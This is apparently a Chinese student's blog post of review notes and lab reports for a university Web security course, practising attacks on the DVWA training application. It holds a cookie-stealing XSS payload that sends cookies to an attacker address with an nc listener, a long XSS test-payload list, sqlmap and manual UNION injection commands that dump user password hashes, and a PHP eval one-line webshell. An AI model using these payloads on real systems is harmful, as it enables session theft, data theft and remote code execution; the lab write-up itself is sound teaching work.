NJUPT《Web安全》

作者: Du1in9 | 来源:发表于2022-05-24 19:29 被阅读0次

1/2 考前复习

复习课笔记

考试总结:意料之外的考题有 DVWA 的模板注入、FOFA 搜索引擎、SqlMap 实验里的提示语句等。。不过都能在打印资料里找到,不难。


https://wwb.lanzouh.com/iFaL606gowpe

2/2 实验报告

实验一:Web服务搭建实验

  • 实验目的和要求

1.在Windows 环境下安装Apache+PHP+MySql环境
2.安装DVWA的PHP代码,搭建完成攻击测试靶机,理解服务器的搭建

  • 实验环境

1.安装Windows操作系统并连接网络的一台PC机。
2.Apache+PHP+MySQL
3.DVWA

  • 实验内容

1.完成任务三步骤(1)中的操作,查看表user_privileges的内容并截图记录。



2.根据自己的学号,用create命令创建一个数据库,并截图



3.完成任务四步骤(8),MySql中增加什么数据库(database)?截图记录。
答:MySql中增加了一个名为DVWA的数据库。

4.新增的数据库中,有一张“users”的数据包,截图显示该表的内容,这张表主要记录哪些信息?从这张表中能猜出用户的密码吗?
答:这张表主要记录了一些用户的基本信息(创建时间、用户名、密码等)


  • 实验小结
一、MySQL 文档里的一些基本语句

1、创建并选择数据库
mysql> CREATE DATABASE menagerie;
mysql> USE menagerie
shell> mysql -h host -u user -p menagerie
Enter password: ********
2、创建表
mysql> SHOW TABLES;
使用一个CREATE TABLE语句指定你的数据库表的布局:
mysql> CREATE TABLE pet (name VARCHAR(20), owner VARCHAR(20),
    -> species VARCHAR(20), sex CHAR(1), birth DATE, death DATE);
mysql> SHOW TABLES;
mysql> DESCRIBE pet;
3、将数据装入表中
你可以创建一个文本文件“pet.txt”,每行包含一个记录,用定位符(tab)把值分开,并且以CREATE TABLE语句中列出的列次序给出。
mysql> LOAD DATA LOCAL INFILE '/path/pet.txt' INTO TABLE pet;
4、从表检索信息
SELECT what_to_select
FROM which_table
WHERE conditions_to_satisfy;
mysql> SELECT * FROM pet;
mysql> SELECT * FROM pet WHERE name = 'Bowser';
mysql> SELECT * FROM pet WHERE birth > '1998-1-1';
mysql> SELECT name, birth FROM pet;
mysql> SELECT name, birth FROM pet ORDER BY birth;
mysql> SELECT 1 = NULL, 1 <> NULL, 1 < NULL, 1 > NULL;

二、Apache 的初识

https://httpd.apache.org/ABOUT_APACHE.html

1、什么是Apache HTTP服务器项目?
ApacheHTTP服务器项目是一项协作软件开发工作,旨在为HTTP(Web)服务器创建一个健壮的、商业级的、功能齐全的、免费可用的源代码实现。该项目由位于世界各地的一群志愿者共同管理,他们使用互联网和网络来交流、规划和开发服务器及其相关文档。这个项目是Apache软件基金会的一部分。此外,数百名用户为该项目提供了想法、代码和文档。本文件旨在简要描述Apache HTTP服务器的历史,并识别众多贡献者。
2、阿帕奇是如何诞生的?
在1995二月,网络上最受欢迎的服务器软件是由Rob McCool在美国伊利诺伊大学超级计算应用中心(Unina)香槟分校开发的公共领域HTTP守护程序。然而,在Rob于1994年年中离开NCSA后,httpd的开发陷入停滞,许多网站管理员开发了自己的扩展和漏洞修复,需要一个通用的发行版。一小群通过私人电子邮件联系的这些网站管理员聚集在一起,以协调他们的变化(以“补丁”的形式)。Brian Behlendorf和Cliff Skolnick利用HotWired捐赠的带宽,为加利福尼亚湾区的一台机器上的核心开发人员建立了一个邮件列表、共享信息空间和登录。
3、介入。
如果您只是想偶尔发送一个建议/修复,那么您只需使用以下错误报告表:http://httpd.apache.org/bug_report.html >. 你也可以订阅公告邮件列表(announce@httpd.apache.org)我们使用它来广播有关新版本、错误修复和即将到来的事件的信息。有很多关于开发过程的信息(其中很多都急需更新)可以在<http://httpd.apache.org/dev/ >.
4、为什么Apache软件是免费的?
Apache软件的存在是为了为许多类型的软件提供健壮的商业级参考实现。它必须仍然是一个平台,在这个平台上,个人和机构可以为实验目的和关键任务目的建立可靠的系统。我们相信,在线出版的工具应该掌握在每个人手中,软件公司应该通过提供增值服务来赚钱,比如专门的模块和支持等。我们意识到,一家公司“拥有”一个市场通常被视为一种经济优势——在软件行业,这意味着严格控制一个特定的渠道,以便所有其他公司都必须为其使用付费。这通常是通过“拥有”公司开展业务所使用的协议来实现的,而所有其他公司都要为此付出代价。只要万维网的协议仍然由一家公司“不拥有”,那么万维网将仍然是大大小小公司的公平竞争环境。因此,必须防止协议的“所有权”。为此,所有公司和个人都可以免费获得各种协议和应用程序编程接口的健壮参考实现,这是一件非常好的事情。

实验二:跨站脚本攻击实验

  • 实验目的和要求

1.在Windows/Linux 环境下安装Apache+PHP+MySql环境
2.安装DVWA

  • 实验环境

1.安装Windows/Linux操作系统并连接网络的1-2台PC机。
2.Apache+PHP+MySQL
3.DVWA

  • 实验内容
  1. 完成任务二步骤(3),截取显示学号的弹窗窗口。

    2.完成任务三,说明两个关键点:(1)如何获取受害者A的Cookie,(2)攻击者B如何利用Cookie实现无密码登录,适当截图记录。欢迎探索不同的渗透思路,体会攻击的危害,加强防范意识。
    答:(1)通过在平台注入恶意代码:<script>document.location= 'http://192.168.189.158:1234/acceptcookie.php?cookie=' +document.cookie;</script>。然后在对应攻击机进行nc监听1234端口获得cookie。

    (2)可以通过修改cookie的插件进行操作,然后就能绕过登录。
  • 实验小结
一、跨站脚本

跨站脚本(Cross-site scripting,简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话、cookie等各种内容。
cookie 是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息。


二、常见xss测试语句大全

'><script>alert(1)</script>
<sc<script>ript>alert(/xss/)</script>
"> <script>alert(1)</script>
='><script>alert(1)</script>
%3Cscript%3Ealert(1)%3C/script%3E
<script>alert(1)</script>
<img src="javascript:alert(1)">
<IMG SRC="javascript:alert(1);">
<IMG DYNSRC="javascript:alert(1)">
<IMG LOWSRC="javascript:alert(1)">
<BGSOUND SRC="javascript:alert(1);">
<br size="&{alert(1)}">
<IMG \nSRC=javascript:alert(1)> 
 "><body οnlοad=alert(1)><"
“><iframe οnlοad="alert(1)" height="0" width="0"></iframe>
"<input type=image src=x οnerrοr=alert(1)>
<input type=image src=x οnerrοr=alert(1)">
"><input type=image src=x οnerrοr=alert(1)>
javascript&#058;alert(1)
vbscript:alert(1);
javaSCRIPT&colon;alert(1)
vbscript&#058;alert(1);
JaVaScRipT:alert(1)
vbscr&Tab;ipt:alert(1)"
javascript:alert(1)//http://
<sCript>alert(1)</scRipt>
<form action=javascript:alert(1) method="get">
<svg onload=alert(1)>
<body\nοnscrοll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
%3c/a%3e%3cscript%3ealert(1)%3c/script%3e  
"<IMG SRC=java\0script:alert(\1\)>";’ >
<XML SRC="javascript:alert(1);"> 
<STYLE>@im\port'\ja\vasc\ript:alert(1)';</STYLE>
'<STYLE>@im\port'\ja\vasc\ript:alert(1)';</STYLE>
'><STYLE>@im\port'\ja\vasc\ript:alert(1)';</STYLE>
"<STYLE>@im\port'\ja\vasc\ript:alert(1)';</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert(1)";</STYLE>
<XML SRC="javascript:alert(1);"'> 
'<XML SRC="javascript:alert(1);'> 
><XML SRC="javascript:alert(1);> 
><XML SRC="javascript:alert(1);"> "
"javascript:alert(1)//http://
javascript:alert(1)//http://"
>javascript:alert(1)//http://
<'javascript:alert(1)//http://
"/><script>alert(1)</script><!- 
"οnfοcus="alert(1) 
<script>alert(1)</script><!--
%3cscript%3ealert(1)%3c/script%3e/index.html
<IMG src="/JaVaScRiPt.:alert"(1)>
<DIV STYLE="width: expression(alert(1));">

实验三:SQL注入攻击

  • 实验目的和要求

1.针对 DVWA Low 级别的SQL注入漏洞,进行手动注入实验;
2.使用 SQLMap 进行自动注入实验。

  • 实验环境

1.安装Windows操作系统并连接网络的一台PC机。
2.Apache+PHP+MySQL
3.DVWA

  • 实验内容

1.完成任务一步骤(6),把获得的所有用户名和密码的哈希值截图记录。



2.完成任务二步骤(9),打开SQLMap拖下来的数据文件,并截图记录。



3.如果完成任务三中部分内容,可以截图记录其中重要的心得体会(选做)。
  • 实验小结
管理数据库:http://localhost/phpmyadmin/
渗透演练:http://127.0.0.1/DVWA/login.php
burpsuite配置教程:https://blog.csdn.net/drifter_galaxy/article/details/118700115


===LOW===

mysql:
python2 sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id =1&submit=sublit#"
python2 sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=u1cunh6t7q30do5mhp4c8l00ck"
python2 sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=u1cunh6t7q30do5mhp4c8l00ck" –dbs
python2 sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=u1cunh6t7q30do5mhp4c8l00ck" --tables –D dvwa
python2 sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=u1cunh6t7q30do5mhp4c8l00ck" --columns –T “users”
python2 sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=u1cunh6t7q30do5mhp4c8l00ck" –T “users” –dump

===MEDIUM===

手动注入:
1 order by 2# 测试列数
1  union select 1,2# 测试回显位置
1 union select 1,database()# 查看数据库名
1 union select 1, table_name from information_schema.tables where table_schema=0x64767761# 查表
1 union select 1,column_name from information_schema.columns where table_name=0x7573657273#查列
1 union select user,password from users##查字段

抓包+mysql:
python2 sqlmap.py -r C:\Users\YYDL\Desktop\1.txt –T “users” –dump

===HIGH===

手动注入:
1' order by 2# 测试列数
1' union select 1,2# 测试回显位置
1' union select 1,database()# 查看数据库名
1' union select 1, table_name from information_schema.tables where table_schema='dvwa'# 查表
1' union select 1,column_name from information_schema.columns where table_name='users'#查列
1' union select 1,concat_ws('~',user,password) from users#查字段

抓包+mysql:
python2 sqlmap.py -r C:\Users\YYDL\Desktop\2.txt  --second-url "http://10.166.33.85:9008/vulnerabilities/sqli/" –T “users” –dump

实验四:Web服务搭建实验

  • 实验目的和要求

1.针对DVWA Low和Medium级别的文件上传漏洞进行渗透;
2.使用BP实现文件上传绕过;
3.编写一句话木马并上传,使用Hackbar工具进行远程操作;
4.使用蚁剑工具进行Webshell的操作。

  • 实验环境

1.安装Windows操作系统并连接网络的一台PC机。
2.Apache+PHP+MySQL
3.DVWA
4.Firefox,Hackbar,Burp Suite,蚁剑

  • 实验内容




1.完成任务一步骤(7),在BP中修改content-type后,在Forwad提交前,把BP中的内容截图,截图范围和步骤(7)中类似,需要显示数据包的主要内容。



2.完成任务二步骤(4),显示phpinfo();运行的结果,截图记录。
需要解决的报错:https://blog.csdn.net/bilibiliyexue/article/details/117534299
务必将实验指导的php代码改为:<?php @eval($_POST['x']); ?>


3.完成任务三步骤(4),在DVWA的“/hackable/uploads/”目录下用自己的学号新建一个文件,例如“B18030740.txt”,并截图记录。



相关文章

网友评论

    本文标题:NJUPT《Web安全》

    本文链接:https://www.haomeiwen.com/subject/ejhlprtx.html